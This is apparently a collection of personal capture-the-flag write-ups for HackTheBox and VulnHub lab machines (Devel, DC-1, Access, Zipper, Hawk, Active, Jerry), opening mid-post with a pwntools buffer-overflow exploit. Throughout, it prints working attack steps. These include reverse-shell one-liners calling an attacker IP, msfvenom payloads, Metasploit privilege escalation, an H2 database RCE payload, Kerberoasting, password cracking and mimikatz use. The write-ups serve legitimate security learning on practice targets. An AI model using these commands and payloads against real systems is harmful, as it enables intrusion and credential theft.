io = process('./levelFive')
io.sendline(payload)
io.interactive()

When the exploit is executed, an interactive session as root should be started.

level4@kali:~$ ./exploit.py
[+] Starting local process './levelFive': pid 3433
[*] Switching to interactive mode
Enter your input: Buf: AAAAAAAAAAAAAAAA\xb1\x0b����\x90\x90\x90\x90\x90\x90\x90j1X\x99̀\x89É�jFX̀\xb0\x0bhn/shh//bi\x89��̀
$ id; cat /root/root.txt
uid=0(root) gid=1004(level4) groups=1004(level4)
1d0b5[REDACTED]
$

Of course only pwntools library can be used to create a working PoC.

#!/usr/bin/env python2
from pwn import *

payload = ''
payload += "A" * 16
payload += p32(0xf7dd0bb1)
payload += "\90" * 10
payload += asm(shellcraft.i386.linux.setreuid())
payload += asm(shellcraft.i386.linux.sh())

p = process('./levelFive')
p.sendline(payload)
p.interactive()

References:

https://www.vulnhub.com/entry/stack-overflows-for-beginners-101,290/

https://github.com/longld/peda

HackTheBox - Devel

2020-11-17T00:00:00+00:00

Starting off with a nmap scan to determine open ports, thus attack vector !

$ nmap -sCV -v -n -p- -T4 --max-retries 0 --max-rate 1000 -oN nmap-devel.txt 10.10.10.5
Starting Nmap 7.91 ( https://nmap.org ) at 2020-12-06 11:30 GMT
NSE: Loaded 153 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 11:30
Completed NSE at 11:30, 0.00s elapsed
Initiating NSE at 11:30
Completed NSE at 11:30, 0.00s elapsed
Initiating NSE at 11:30
Completed NSE at 11:30, 0.00s elapsed
Initiating Ping Scan at 11:30
Scanning 10.10.10.5 [2 ports]
Completed Ping Scan at 11:30, 0.37s elapsed (1 total hosts)
Initiating Connect Scan at 11:30
Scanning 10.10.10.5 [65535 ports]
Warning: 10.10.10.5 giving up on port because retransmission cap hit (0).
Discovered open port 21/tcp on 10.10.10.5
Discovered open port 80/tcp on 10.10.10.5
Connect Scan Timing: About 0.30% done
---SNIP---

Nmap has found that there are two open ports on the victim machine; port 80 & 22. Navigating to the web server reveals that the default pages of IIS are in place. Alternatively, if we check the Burp response, we can see that the server header shows the server is indeed “Microsoft IIS/7.5”.

Nmap has also found that the FTP service allows anonymous connection. By logging in the service, it’s revealed that the root folder of the FTP is the root folder of the IIS server. Trying to upload a file also appeared to be successful, therefore uploading a webshell¹ should allow for command execution.

Generating an .aspx formated reverse shell via msfvenom was a great way to get access to the system.

$ msfvenom -p windows/shell_reverse_tcp lhost=10.10.14.10 lport=7001 -f aspx -o revshell.aspx

After the generation of the reverse shell, uploading it to the system via the FTP service allowed to be executed via navigating to it in the browser.

$ rlwrap ncat -lnvp 7001 
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::7001
Ncat: Listening on 0.0.0.0:7001
Ncat: Connection from 10.10.10.5.
Ncat: Connection from 10.10.10.5:49173.
Microsoft Windows [Version 6.1.7600]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

c:\windows\system32\inetsrv>

The use of rlwrap allows the use of the arrow keys while using netcat. It is simply a read-line wrapper and is similar to the stty raw -echo ² method. This tool can be downloaded using the package manager in kali simply by typing the below.

$ sudo apt update && sudo apt install rlwrap -y

Checking systeminfo for patches, reveals that the windows 7 x86 machine was never updated meaning it is exposed to a lot of privilege escalation attacks. Copying the output of systeminfo and pasting it locally, a tool such as “Windows-Exploit-Suggester”³ could be used to check what exploits can be used to attack the system and escalate the privilages.

$ ./windows-exploit-suggester.py -i ../systeminfo.txt -d 2020-12-06-mssb.xls
[*] initiating winsploit version 3.3...
[*] database file detected as xls or xlsx based on extension
[*] attempting to read from the systeminfo input file
[+] systeminfo input file read successfully (ascii)
[*] querying database file for potential vulnerabilities
[*] comparing the 0 hotfix(es) against the 179 potential bulletins(s) with a database of 137 known exploits
[*] there are now 179 remaining vulns
[+] [E] exploitdb PoC, [M] Metasploit module, [*] missing bulletin
[+] windows version identified as 'Windows 7 32-bit'
[*] 
---SNIP---
[E] MS10-047: Vulnerabilities in Windows Kernel Could Allow Elevation of Privilege (981852) - Important
--> [M] MS10-015: Vulnerabilities in Windows Kernel Could Allow Elevation of Privilege (977165) - Important <--
[M] MS10-002: Cumulative Security Update for Internet Explorer (978207) - Critical
[M] MS09-072: Cumulative Security Update for Internet Explorer (976325) - Critical
[*] done

The ms10_015_kitrap0d can be used to elevate the privilages by exploiting a kernel vulnerability. Metasploit has available module which could this automatically. Repeat the same steps done to generate a generic non-meterpreter payload to create a meterpreter alternative. Afterwards, use multi/handler and set the payload you used for the generation of the reverse shell file.

$ msfconsole -q
msf5 > use multi/handler

msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp

msf5 exploit(multi/handler) > set lhost 10.10.14.10
lhost => 10.10.14.10

msf5 exploit(multi/handler) > set lport 7001
lport => 7001

msf5 exploit(multi/handler) > exploit -j -z
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.

msf5 exploit(multi/handler) > 
[*] Started reverse TCP handler on 10.10.14.10:7001 
[*] Sending stage (176195 bytes) to 10.10.10.5
[*] Meterpreter session 1 opened (10.10.14.10:7001 -> 10.10.10.5:49166) at 2020-12-22 14:56:22 +0000

After obtaining the reverse shell in metasploit, session has to be backgrounded and lastly a search for kitrap0d showed the needed module.

msf5 exploit(multi/handler) > search kitrap0d

Matching Modules
================

   #  Name                                     Disclosure Date  Rank   Check  Description
   -  ----                                     ---------------  ----   -----  -----------
   0  exploit/windows/local/ms10_015_kitrap0d  2010-01-19       great  Yes    Windows SYSTEM Escalation via KiTrap0D

Lastly, using the module, setting up the session number of the meterpreter session should allow for the module to successfully complete the exploitation to escalate privileges to NT AUTHORITY/SYSTEM.

msf5 exploit(windows/local/ms10_015_kitrap0d) > set session 1
session => 1

msf5 exploit(windows/local/ms10_015_kitrap0d) > exploit

[*] Started reverse TCP handler on 10.10.14.10:7002 
[*] Launching notepad to host the exploit...
[+] Process 2964 launched.
[*] Reflectively injecting the exploit DLL into 2964...
[*] Injecting exploit into 2964 ...
[*] Exploit injected. Injecting payload into 2964...
[*] Payload injected. Executing exploit...
[+] Exploit finished, wait for (hopefully privileged) payload execution to complete.
[*] Sending stage (176195 bytes) to 10.10.10.5
[*] Meterpreter session 2 opened (10.10.14.10:7002 -> 10.10.10.5:49169) at 2020-12-22 14:58:40 +0000

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

Finally, the box was completed and flags can be read.

Simple CMD aspx webshell: https://raw.githubusercontent.com/fuzzdb-project/fuzzdb/master/web-backdoors/asp/cmd.aspx ↩
STTY shell command: https://renenyffenegger.ch/notes/Linux/shell/commands/stty ↩
Windows Exploit Suggester: https://github.com/AonCyberLabs/Windows-Exploit-Suggester> ↩

Vulnhub - DC-1

2019-04-07T00:00:00+01:00

~$Ov3rv1ew

This is a writeup of the DC-1 VulnHub box. The vulnerability was that there was installed an outdated version of Drupal CMS which lead to the exploitation of the webserver and getting a shell as ‘www-data’. After that, a short digging in the system has showed that “find” program in Linux has a SUID which allowed the attacker to privilige escalate to root user.

Although this is an easy box, there was a rabbit hole that some people might have felt in. This rabbit hole was the kernel version of the system (3.2.0-6-428). Some people may have thought that DirtyCow exploit would work, but DirtyCow is not always a good idea to run, due to possible crashes of the system that it can cause. Even if DirtyCow would’ve worked, it should be the last option for privilige escalation.

Official CVE page of the Drupal exploit can be found here

~$St4rt_J0urn3y

Our journey will start with a Nmap scan on the target to determine what services are open on the target. Maybe there could be something that is outdated or possibly something is misconfigured and Nmap’s scripts could identify that.

$ nmap -sC -sV -v -oN <PATH_TO_OUTPUT> <IP>

We can see that Nmap has found 3 ports open:

80 / HTTP
111 / RPC
22 / SSH

We can also see that Nmap has found some default folders and files that can be found with an installation of Drupal CMS. We can check for ‘robots.txt’. We find the file “CHANGELOG.txt” which is placed in the root directory of the webserver, however, we get that the file was not found.

Luckily, there is a tool called ‘droopescan’, it will enumerate the webserver and the installation of the Drupal CMS and it will find any misconfigurations and possible vulnerabilities that we can exploit.

Quick clone of the repository of Droopscan and running the commands:

git clone https://github.com/droope/droopescan
cd droopescan
pip install -r requirements.txt
./droopescan scan --help

If you would like to install the tool on the system run:
cd droopescan
python setup.py install

That will install the tool and we are ready to use it. Now let’s enumerate the machine with the tool.

droopescan scan drupal -u <IP_OF_TARGET> -t 10

By the output of droopescan, we can determine that the version of the installed Drupal CMS is one between 7.22 - 7.26. If we search for vulnerabilities that were found in any version between these that the tool found, we can test that against the target. Although, this is not a good practice to test random exploits on a system that we don’t know the exact version of, it is our only option.

A simple google search would show that there is a vulnerability that is known in versions before 7.58, 8.x before 8.3.9, 8.4.x before 8.4.6, and 8.5.x before 8.5.1. This vulnerability is known as ‘Drupalgeddon’. We will use it to try and get a reverse shell on the target system.

I try to stay away from metasploit because of the OSCP requirement and as so, we will use a python exploit that will give us a netcat reverse shell.

Exploit link -> Drupalgeddon2

~#Pr1vil3ge 3scal4tion

After getting the reverse shell, we want to get a python tty shell and make the arrow keys and tab completion work. For this to work we background the netcat reverse shell and type:

ctrl + z
$ stty raw -echo
$ fg

When you type the stty command you will not see input but press enter and you will access the reverse shell again. Lastly, we want to be able to clear the screen if we need it, so this can be done by setting a global environment variable to ‘xterm’.

$ export TERM=xterm

As we now have a shell in the system, it is time to enumerate it. Checking the usual locations where something could be found misconfigured, such as /usr/bin, /bin/, /etc/ssh/ and others, we can find that in /usr/bin/, the program ‘find’ has a SUID set.

We can use this to exploit the system and get root! Going to GTFObins, we search for “find” tool and use the command shown to execute a system shell and get root.

$ find . -exec /bin/sh \; -quit

For a detailed explanation of the command you can go to explainshell.com

We now have an effective user ID of root and got the flag! The box is completed!

HackTheBox - Access

2019-03-03T00:00:00+00:00

As always, I am starting off with an Nmap scan to determine open ports. After the scan has completed I will be able to determine my attack vector.

So it looked like that RDP and telnet are open, FTP allows for anonymous login. When I tried to access the FTP service from the browser It seems that i cannot do it, but when I tried to login from the terminal it allowed me ! I was prompted for username so I just used Anonymous for user and blank password, since the header of Nmap output, showed that FTP allows for anonymous access ! There were 2 directories inside FTP service: Backups and Engineer. Backups folder contained a file called “backup.mdb” and folder Engineer contained a zip file “Account Access.zip”. I ran strings command on backups.mdb and I found several interesting things:

admin , administrator, engineer, backup_admin, access4u@security

The last one access4u@security looked more like a password and so I passed it to the zip file: Access Control.zip and it worked so i extracted the file inside. Now the file inside the compressed file had an extension “.pst” so I used a tool called readpst to convert the file and read it with any kind of editor. After I opened the file, I found some information about an account on the system.

I used the found credentials in the Microsoft Telnet Service (port 3389) and it prompted me with a shell. So now I was inside the system and I could run commands.

After enumerating the system, I didn’t find anything, so I decide to upload a windows enumeration script to find something for me. I have immediately discovered that I wasn’t allowed to use backspace and arrows to quickly navigate through commands. I have decided to get a meterpreter session, but after trying to get through payload execution on the system it didn’t work, so I opted to get a web based reverse shell, using the module ‘exploit/multi/script/web_delivery’. What this module will do, is to generate a powershell command, which will be base64 encrypted to evade windows defender and metasploit will also open a web server on my machine so that when I execute the command in the telnet session, the windows box will access my metasploit web server, grab the payload and execute it.

As for the enumeration script, I used Sherlock (made by RastaMouse). This script is going to check for missing patches & software as well as show possible ways of privilege escalation. When the script finished the enumeration, I saw that script has found a common way of privilege escalation in Windows, Secondary Logon Handle, CVE: MS16-032! Once I tested the exploit it did not work, so I would assume at this point that the system was patched against this exploit.

 In Metasploit
 $ use multi/script/web_delivery
 $ set payload windows/x64/meterpreter/reverse_https

Had some error with this exploit saying its not compatible so running this command fixed it !

 $ set target 2 ----> Sets payload delivery via Powershell
 $ set LHOST  
 $ set LPORT <>
 $ exploit -j

Copy command from metasploit & run on target machine !

I now had 2 shells as user ‘security’, one telnet & one meterpreter session. As MS16-032 did not worked,I have checked to see the closest exploit to date to MS16-032 and it was the MS16-014. Metasploit has a post exploitation module which uses this exploit to escalate privileges.

 In Metasploit after I get shell !

 $ meterpreter> background
 $ search ms16-014
 $ use exploit/windows/local/ms16_014_wmi_recv_notif
 $ set session 1
 $ exploit

This privilege escalation exploit spawned me in shell session instead of in meterpreter as NT_AUTHORITY user, so I quickly changed it to a meterpreter session using a post module.

 Switch from Shell -> Meterpreter

 $ctrl + z
 $ use post/multi/manage/shell_to_meterpreter
 $ set LHOST  
 $ set LPORT <>
 $ set session 2
 $ exploit

At this point, I tried to read the flag, but with no luck! Interestingly enough, I wasn’t able to do because I didn’t have permission and I was NT_AUTHORITY so it was really weird. My attempt to this was to grab the password for the Administrator user using mimikatz (developed by gentlekiwi). I uploaded the tool, and ran it, and I grabbed the password for user Administrator. After this, I opened another telnet session and logged in as Administrator and now I was able to read the root flag!

HackTheBox - Zipper

2019-02-23T00:00:00+00:00

Starting off with a nmap scan to determine open ports, thus a potential attack vector!

Nmap showed me that port 80 and 22 are open so I was going to access the web server, but since the header of the nmap for port 80 output says: “It Works” I assumed that I will see the default page of apache, so I went straight to use dirbuster and check for folders and files on the webserver!

Running dirbuster on the server, I found an interesting folder “/zabbix”.So when I entered it, it prompted me with a login page and more interestingly, I was able to login as guest user, which would be very helpful when I enumerate the web app to try to find a potential vulnerability, or potential username or password. After some inspection of the web app, I found that the developer had made a small writing mistake which let me determine that the mistake could be a potential username. The mistake which the developer made was that he accidently typed “Zapper” instead of Zipper which gave me the clue. I found this in the “Trigger” section of the web app and by tweaking the options I was able to find it.

Now I went to try and guess the username and password, so that I can login to the Zabbix web app and enumerate more and try to find a way to get into the system. After several attempts to guess the password, I was able to login as user Zapper.

#User Zapper credentials
Username: Zapper
Password: zapper

When I tried to login with the credentials, the web app output showed me that the GUI was disabled and after a short search in the zabbix documentation I saw that I can use the API of Zabbix, “api_jsonrpc”, to enable the web gui and proceed forward. I wrote a simple python script to enable that function.

Here is the script I wrote:

The first part of the code shows that I will connect as user Zapper and will get cookie for this user, notice that “auth” is set to None because I didn’t know the cookie yet, but when I run the script it will show it to me. The second part of the code is where the script will tell Zabbix program to add user Zapper in the “Zabbix Super Admin” group, which will allow me to get access to the web GUI.

After I got the cookie from the function “get_auth”, I had to place it where “auth”:”” line is in the function “get_wgui” which in the second part of the code will enable the web GUI. This will tell the Zabbix Web app that we are logging in as Zapperwho will be placed in the zabbix super admin group. So lastly, once the the python script is ran, the output will be this.

After I logged in, I noticed two new options in the main page, from which, one of them was the Administration section! I enumerated the administration section and that showed me that user zapper is able to write and execute scripts, so I thought this could lead to a RCE. I saw that there was a PING script and I edited it !The scripts section was under:

Administration -> Scripts -> Ping

#Reverse shell command
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <ATTACKER_IP> 1234 >/tmp/f

After I editted the Ping script, I went again to the “Trigger” section and I clicked on Zabbix, which showed me a menu to execute a script, I pressed on Ping and I got reverse shell !

When I got the reverse shell, I noticed that the hostname of the machine is a bit weird, so I thought I may have a reverse shell in a docker instance. Now, I had to escape it and I also noticed that when I set the code execution to run through zabbix server, I get a reverse shell in docker, but when I set the code to be executed as zabbix agent, I get a reverse shell in the main system but its very unstable, and I am kicked out in 5 - 10 seconds. I had to think of any way to escape that and get a stable connection in the main system.So I thought why don’t I try to upgrade it to TTY shell using python and see if the shell will stay stable. Because the machine didn’t have python 2 install, I had to use python 3.

#Python tty shell spawn command
$ python3 -c 'import pty;pty.spawn("/bin/bash")'

Luckily, this helped me to keep my shell open and stable. I just had to copy & paste the command quckily before the shell died. So to get a stable shell in the main system outside docker, I had to do the same for docker.

Now it was time to enumerate what users are available on the system. There was another user available in the system which is “zapper”.

I had to escalate to zapper user before I could get root ! I searched in the system, but I wasn’t able to find anything else except a bash script called “backup.sh” in /home/zapper/utils/. This script gave me a password to work with after running “cat” command on it. The script was only doing a backup of the files and scripts of zabbix web app and was saving them as 7z file in /backups/ folder. I tried to find anything interesting in the folder but there was nothing even after extracting the 7z file, so I thought I could try to login as user zapper with su -l using the password which I found in backup.sh script. This worked !

I now checked for the SSH keys of user zapper, I grabbed them and logged in with SSH. Doing another enumerating of the box I found that in folder utils in /home/zapper/, there was a script called “zabbix-service” which was owned by user root and had SUID. This meant that I would be able to run it as root without having to use sudo. This was interesting ! Running cat on the file showed me gibberish, so I used strings command instead. This showed me something interesting.

The script was actually starting the zabbix-agentd.service using systemctl. How could I exploit this ? Well, the other interesting part was that in the script, systemctl wasn’t set with its’ full path, so I could exploit that by setting a system variable. So now systemctl would be seen in 2 different folders and run twice by the script because it wouldn’t know which path exactly to use, so it will use both. I created a file “systemctl” in the folder /home/zapper/utils/ and wrote inside “/bin/bash” and saved the file. When I exported the path to systemctl file which I created in /home/zapper/utils/, I set the permissions of the newly created file to 777 and checked to see if the system could see the file in the home folder of zapper. Now I just had to run the script and get root !

That’s the box Zipper from HackTheBox !

HackTheBox - Hawk

2019-01-30T00:00:00+00:00

Starting off with a nmap scan to enumerate ports, thus to determine the potential attack vector !

FTP is open and the header shows that I can login anonymously and that there is a folder called “messages”. Using the command:

 ftp 10.10.10.102 21

I logged in to FTP with username: Anonymous & empty password. After listing the files in the folder messages, I didn’t see anything, but after listing all files with hidden files as well, I was able to find a hidden file called: “.drupal.txt.enc”.

By the name of the file I was able to determine that it was storing an encrypted information. I had to decrypt it somehow but first I had to see what was the cipher used to encrypt the informaiton. Once I checked the file by running “file .drupal.txt.enc”, I noticed that it is Base64 encoded but openssl encrypted with salted password. It was easy to decode the base64 by just running:

base64 -d .drupal.txt.enc > decrypted.txt.enc

I did some google research and found a tool which is used to bruteforce openssl salted passwords. Link to tool To bruteforce the password, I ran:

#Dependencies to download !
#dh-autoreconf:

apt-get install dh-autoreconfmv .drupal.txt.enc 

drupal.txt.encbase64 -d drupal.txt.enc > decrypted.txt.encbruteforce-salted-openssl -t 6 -f 

/usr/share/wordlists/rockyou.txt -d sha256 -c AES-256-CBCdecrypted.txt.enc

#Password: friends

Now I had the password and it was time to decrypt the file and read the message.

#OpenSSL

openssl enc -aes-256-cbc -d -salt -base64 -in .drupal.txt.enc -md sha256 -k friends

#Drupal Admin Panel Account
#Password: PencilKeyboardScanner123

Judging by the name of the file, I had to use this password for the Drupal web server. I accessed it on port 80. After accessing Drupal, I immediately saw a login form and I tried to login with username: admin & the decrypted password from the openssl file and it worked !

So after doing some enumeration and looking at the HTB forum for hints I found that H2 Database which runs on port 8082 has some vulnerabilities but they didn’t worked ! I went back to the Drupal web page and started enumerating it ! Section modules on the top was pretty interesting and i was able to find a module called “PHP Filter”, which when turnedon would allow me to execute PHP code, so that means I will be able to get a reverse shell ! So I accessed the modules and enabled PHP Filtering !

After enabling the PHP Filter module, I created a new article page and changed the text format to be PHP Code, after that I used msfvenom PHP reverse shell sample code by generating one and adding it in the body section, then I saved the article and accessed it and I got a reverse shell !

#In Metasploit

use multi/handlerset payload php/meterpreter/reverse_tcp
set lhost <IP>
set lport <>
exploit -j -z

So after doing some enumeration in the root folder of the system i wasn’t able to find anything as credentials for user daniel, so I went back to where Drupal was install and checked in sites/default/… for some configuration files that may contain passwords ! This link helped me to understand what to look for. So in sites/default/settings.php I have found the password for user daniel ! Now I just had to log in as daniel through ssh !

When I logged in as daniel, I was spawned in python3 interactive mode shell and I had to espace it and get bash or sh. To do this I used the python one line command to get proper TTY shell, by separating each command to be able to run then in the python interactive shell.

#In Terminal
import pty;pty.spawn("/bin/bash")

#Python interactive shell escaped !

After I got a bash shell, I started enumerating the machine to find interesting information which would allow me to privilege escalate to root. When I enumerated the machine with user daniel, I wasn’t able to find anything interesting, so I went back to the initial foothold and nmap scan and the target for me was now the H2 Console. When I tried to access the server on port 8082 it said that it didn’t allow remote connections, which lead to my next step, to tunnel the connection to my machine and then access H2 Console ! For tunneling the connection, this website helped me to understand how to do it.

#In Terminal
#To get the tunnel to work through SSH
$ ssh -L 8083:10.10.10.102:8082 daniel@10.10.10.102

#Password: drupal4hawk
#Tunnel works !

Once I got the tunnel up and running I accessed the H2 Console on localhost with the port I set it to run on. I saw another login form.

With some questioning and testing here, I was able to login, but the trick to login to H2 Console was that I had to set the database to run in memory. I gathered some useful information before I accessed the H2 Console, such as potential usernames and passwords.

#Usernames: drupal, admin, sa, root, daniel
#Passwords: PencilKeyboardScanner123, drupal4hawk, xxj31ZMTZzkVA

A website that helped me to get the memory database is this one Link. So once I tried all of the credentials I found, the one combo that worked and worked for SSH or daniel account !

#Creds for H2 Console
User Name: daniel
Password: drupal4hawk

Earlier I have found a great blog expaining a vulnerability in H2 Database where if no user was set, the database will use the default one (sa:blank), so by accessing the H2 Console, I could send commands and get a reverse shell ! Link to the blog exaplaining the vulnerability and exploit -> https://mthbernardes.github.io/rce/2018/03/14/abusing-h2-database-alias.html. So, I was able to get the root flag by using the exploit code this person has written. Since the H2 Database is running as root user I just have to enter the command, make a small changeto the exploit code and get the root flag !

#Exploit code to output “id”

CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException
{ java.util.Scanner s = newjava.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream())
.useDelimiter("\A"); returns.hasNext() ? s.next() : ""; }$$;CALL SHELLEXEC('id')

So by changing ‘id’ in line CALL SHELLEXEC to ‘cat /root/root.txt’ I am able to get the root flag !

HackTheBox - Active

2018-12-08T00:00:00+00:00

Starting with Nmap scan to see what ports are open so that we can determine what open port we can attack.

$ nmap -sC -sV -v -oN Active-Initial 10.10.10.100

With this command we will enumerate the machine with nmap scripts to find if there are any vulnerabilities (-sC), we will enumerate the version of the services running on those ports (-sV), we want nmap to show us the output of everything it’s doing (-v) and lastly we want nmap to output the scan in a file, so that we can reference to any port that was caught open by the program (-oN). We can see a lot of ports were found. The next thing we have to do is to check what services are running on those ports.

We can see that we have some interesting ports open: Port 389 - ldap - Microsoft Windows Active Directory LDAP (Domain: active.htb … ) Port 3268 - ldap Port 135 - msrpc - Windows RPC Port 139 - netbios-ssn - Windows netbios-ssn

Since the machine’s name is “Active” and we saw that we have ports 389 & 3268 Ms Windows Active Directory open, we can say that we have to deal with Active Directory later on. Now smb is open, so starting with and trying to find exploits was the first thing I opted for. Trying some of the exploits from Metasploit such as the MS17_010_Eternalblue exploit would not work. What I decided to do next was to run a Nessus scan to check for some vulnerabilities that I couldn’t think about. Nessus found a vulnerability that can be exploited for the SMB service.

Now this is something interesting. By doing a bit of a research about NULL session vulnerability in SMB I found out that this vulnerability allows a connection to be made without supplying a valid user or password. Now lets see how to exploit it. Searching in google I found a tool called “nullinux” that will help me do some enumeration on the SMB service. Link to nullinux I downloaded the program and set it up.

$ git clone https://github.com/m8r0wn/nullinux
$ cd nullinux
$ ./setup.sh
$ ./nullinux.py -h

Let’s see how to run the program.

Looking at the options, there is “-a, -all” to enumerate users and shares and “-v” for verbose output. Next I ran the program.

$ ./nullinux.py -a -v 10.10.10.100

Lets check the output !

Great ! I found some shares that I can try log in use a null session. I skipped the first two (ADMIN$ & C$) since these shares won’t be exploitable by the null session vulnerability. There two interesting shares that I can try: Replication & Users So to try the null session exploit, there is a tool that we can rely on thats pre-installed in Kali: smbclient. I tried to connect to Replication first and it was successful… Let’s enumerate !

$ smbclient //10.10.10.100/Replication

After enumerating the shared folder I found an interesting file called “Groups.xml” and I downloaded it to check what’s inside it.

Perfect ! It seems I found a user and a password hash ! Trying to identify the hash with hash-identifier didn’t help, so I did a research about what type of hash does windows store in Group Policy. It turned out to be AES-32 which is technically AES-256. So I search how to decrypt cpassword and there is a tool that comes with Kali: “gpp-decrypt”. Let’s decrypt that password !

$ gpp-decrypt edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ

An alternative to the gpp-decrypt tool is this one gpprefdecrypt.py. Now I have the password, let’s try to login with that user.

$ smbclient //10.10.10.100/Users -U SVC_TGS

I used the shared folder Users because we have in it nullinux output and this is second shared folder that caught my eye in the enumeration process. After I ran the command I got access to the machine and I was able to get the flag for user SVC_TGS.

Now came the part when I spent around 2 hours looking online and asking a great person about the Kerberos service and what possible ways I can go for to escalate the privileges and get Administrator.

Kudos to : Khr0n0s ( an amazing person ) Check him out !

I had to read about Kerberos to understand what it is used for and what does it do. Well in a nutshell Kerberos is an authentication protocol used in all of the operating systems (FreeBSD, Unix, Linux, Windows, etc…), it uses tickets to authenticate users, it does not store passwords locally but instead it caches them, it involves 3rd Party programs and has a built-in symmetric-key cryptography. I suggest to all who read this to read about Kerberos, Kerberoasting and Active Directory. That way you will get an idea how they work which is the key to success !

After searching for ways to privilege escalate from SVC_TGS, I found a tool called ImPacket and it can be downloaded from GitHub. I read about the separate scripts and their functionality and what I had to do was to use GetUserSPNs.py to get the Service Principal Names which will be requested with user SVC_TGS. Since we have the Ticket Granting Server (SVC_TGS) we can use it to request the SPN for Administrator and get the hash so we can crack it !

In ImPacket, there is a python script GetUserSPNs.py that will do this for us.

$ GetUserSPNs.py -request-user Administrator 10.10.10.100/SVC_TGS:GPPstillStandingStrong2k18

This issue was annoying and after 20 minutes of struggling to fix it I thought to my self. “Hmmm, why don’t I add active.htb into the /etc/hosts file and see what happens then”. Luckily this helped to resolve the issue. I now just had to change the IP with the domain (active.htb)

$ GetUserSPNs.py -request-user Administrator active.htb/SVC_TGS:GPPstillStandingStrong2k18

Yeahhh ! Got the hash ! The last thing I needed to do is to crack the password with hashcat. I didn’t needed to do any converting of the hash so that hashcat can crack it because the python script already did that for me.

Fire up hashcat !

Linux:
$ hashcat -a 0 -m 13100 <path_to_hash>/Output.hash /usr/share/wordlists/rockyou.txt "use --force if you don't have GPU"

Windows:
$ hashcat64.exe -a 0 -m 13100 Output.hash rockyou.txt

I did the cracking part on my Windows machine because I’m using VMware Fusion to hack the machine, so hashcat didn’t work for me on the VM. Let’s check the result now !

Awesome ! Got the password for Administrator -> Ticketmaster1968 ! Now lets connect to Administrator using smbclient.

Now the last thing to do is to get the root flag ! That’s how to do the Active box from HackTheBox !

HackTheBox - Jerry

2018-11-23T00:00:00+00:00

Starting off with nmap to determine what ports are open, what services are running on the ports and what are their versions, thus determining the target !

So there is only 1 port open, which is:

8080 http Apache Tomcat

Let’s look at the web page and do some enumeration to find any vulnerabilities.

It looks like you this is the default apache tomcat page running version 7.0.88. There are also 3 other web pages; Server Status, Manager App, Host Manager. From experience I know that Host Manager will redirect me to Manager App once I log in successfully, so I will skip it. Let’s see what we can find in Server Status page.

As I tried to access the page a login prompt popped up, as usual, but I was able to guess the default credentials (admin:admin). Once I accessed the page I was able to see what is the Hostname of the machine, OS name and version and system architecture.

I now know with which OS I have to deal. Now, went back to index.html, and tried to login to Manager App. And here I found something interesting. The developer left the default credentials, and tomcat was nice enough to show the default error screen, when I tried to login with wrong username and password.

I grabbed the credentials from the error page and tried to login to the Manager App, and… Success !

As I’m now logged in as admin, Tomcat has a feature to upload .war files, which I am able to exploit by using msfvenom to generate a reverse shell with .war extension. War files are also like zip files, they store other files inside it, and by this it means that once I upload a war file to tomcat and try to access it, instead of getting the reverse shell immediately, I will have to specify the actual .jsp file inside the war file. And I can do this by simply unzipping the war file to see the actual payload file.

#MSFVenom command to generate .war malicious file.
$ msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<IP> LPORT=4444 -f war -o ev1l.war

I opened Metasploit and set the handler I need to use, after that i set the payload and the options to be able to get a connection back.

#In Metasploit
$ use multi/handler
$ set payload windows/x64/meterpreter/reverse_tcp
$ set LHOST <LocalIP>
$ set LPORT 4444
$ exploit

Once I uploaded the file I unzipped it on my box, checked the jsp file name and accessed it in the web browser to trigger the payload and get reverse shell.

As I now have a meterpreter reverse shell in metasploit I can check now what user I have access to. And it turns out that I was logged in as NT AUTHORITY\SYSTEM. Game Over !

That’s how you do Jerry from HackTheBox !